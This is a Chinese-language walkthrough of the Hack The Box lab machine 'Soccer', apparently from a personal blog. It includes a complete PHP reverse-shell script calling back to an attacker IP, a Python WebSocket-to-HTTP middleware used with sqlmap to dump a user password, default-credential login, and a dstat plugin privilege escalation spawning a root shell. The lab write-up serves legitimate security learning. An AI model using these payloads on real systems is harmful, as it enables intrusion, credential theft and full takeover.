HTB Machine Soccer
Drunkbaby Lv6

HTB 靶机 Soccer 学习记录

外网打点

拿到 IP 10.10.11.194,扫出来一个 80 端口,一个 9091 端口

去到 10.10.11.194,发现完全没什么可利用的东西,用 dirsearch 先扫描一下目录,发现存在一个 /tiny 的路径

随便输入一点数据探测一下,发现这里其实是一个开源组件,ref 处是 https://tinyfilemanager.github.io/

版本为 2.4.3,通过搜索,发现 V2.4.3 在文件上传的地方,存在一个目录遍历的漏洞,可以 RCE 打

但是这里的前提是我们能够登录进去,所以怀疑这里是否存在弱口令,或者是默认密码,经过搜索我发现这里默认的用户名密码是 admin,admin@123,成功登录

接着发现有一个文件上传的接口,直接上传会回显 —— the directory is not writeable,我们去到 tiny/upload/this 这个文件夹下进行上传。

上传一个反弹 shell 的 php 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.42'; // CHANGE THIS
$port = 2929; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);
}

if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

上传成功,点击 open 即可

  • 通过 Python 拿到一个稳定的 shell
1
python3 -c "import pty;pty.spawn('/bin/bash')" 

去到 /home/player 下发现有一个 user.txt 的文件,但是打不开

猜测需要最终去拿这个点的东西。

内网渗透

拿到 player 用户权限

看一下使用的端口,有没有可能有 MySQL 或者 Redis 这些东西,发现扫出来有 3306 的端口开放

但是没什么用,弱口令打不过去。

再去 etc 文件夹里面尝试发现一些信息,最终是在 /etc/nginx/sites-enabled 里面发现的信息

且我们发现另外一个域名 —— soc-player.htb,加入域名解析

1
echo 10.10.11.194 soc-player.soccer.htb >> /etc/hosts

再访问 web 页面

登录注册过去,看到一个类似于核验 Ticket 的界面,看着比较像是 SQL 注入,根据不同的回显的 SQL 注入

用 Burpsuite 抓包,可以看到这里不是 HTTP 的包,是 Websocket 的包

对应的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});

function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}

function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

结合前面的思路,尝试一下 Websocket 的 SQL 注入

id=65544 or 1=1 返回存在

id=65545 or 1=2 返回不存在

所以该接口存在 SQL 注入漏洞

但是传统使用sqlmap 是不能对 ws(websocket)协议进行 SQL 注入的

网上找到一篇文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

该文章介绍了如何使用 sqlmap 对 ws 接口进行 sql 注入

1.我们主要修改 ws_server 即第6行 (选择数据的目的地点)

2.data 即第15行(数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message

ws.send(data)
resp = ws.recv()
ws.close()

if resp:
return resp
else:
return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False

if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'

self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return

class _TCPServer(TCPServer):
allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass


作用就是我们在本地可以通过 8081 这个端口来对该 ws 接口进行请求

1
2
3
使用的时候,使用两个终端 
终端1:python3 ws.py
终端2:sqlmap -u http://localhost:8081?id=1 -p id --dump

retrive 出来的内容是这个

1
2
3
4
5
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

拿到 player 用户密码之后 ssh 登录

拿到 root 权限

登录上 player 用户之后,先 cat user.txt

1
c707b6ba14e6d9aae9caec4dba96b667

这其实就是 flag 了,但是 root 里面还有一个 flag,需要我们提权去拿

这里实在是接触到知识盲区了,根据 WP,这里用的是 doas 提权,也可以说本质上还是 find 提权

默认配置文件在/etc/dstat.cong,但是寻找了一下没有找到,搜寻其他目录

找到/usr/bin/dstat,找了下这个文件使用方法,可以直接加载/usr/share/dstat/目录下的脚本

1
2
3
4
5
cd /usr/local/share/dstat/
vim dstat_root.py

import os
os.system('bash -i')

拿到 shell,权限是 root

1
4764f9c299cf6aca25c65f4874e3a420

小结

外网打点还是用的 CVE,这次的外网打点更为简单了,主要是可以直接上传一个反弹 shell 的文件马,没有必须上传蚁剑马这种,因为蚁剑的每一个终端都是独立的。

内网里面,善于寻找其他开了的服务,可以横向看,nginx,包括其他的

成为 root,多用 find

 评论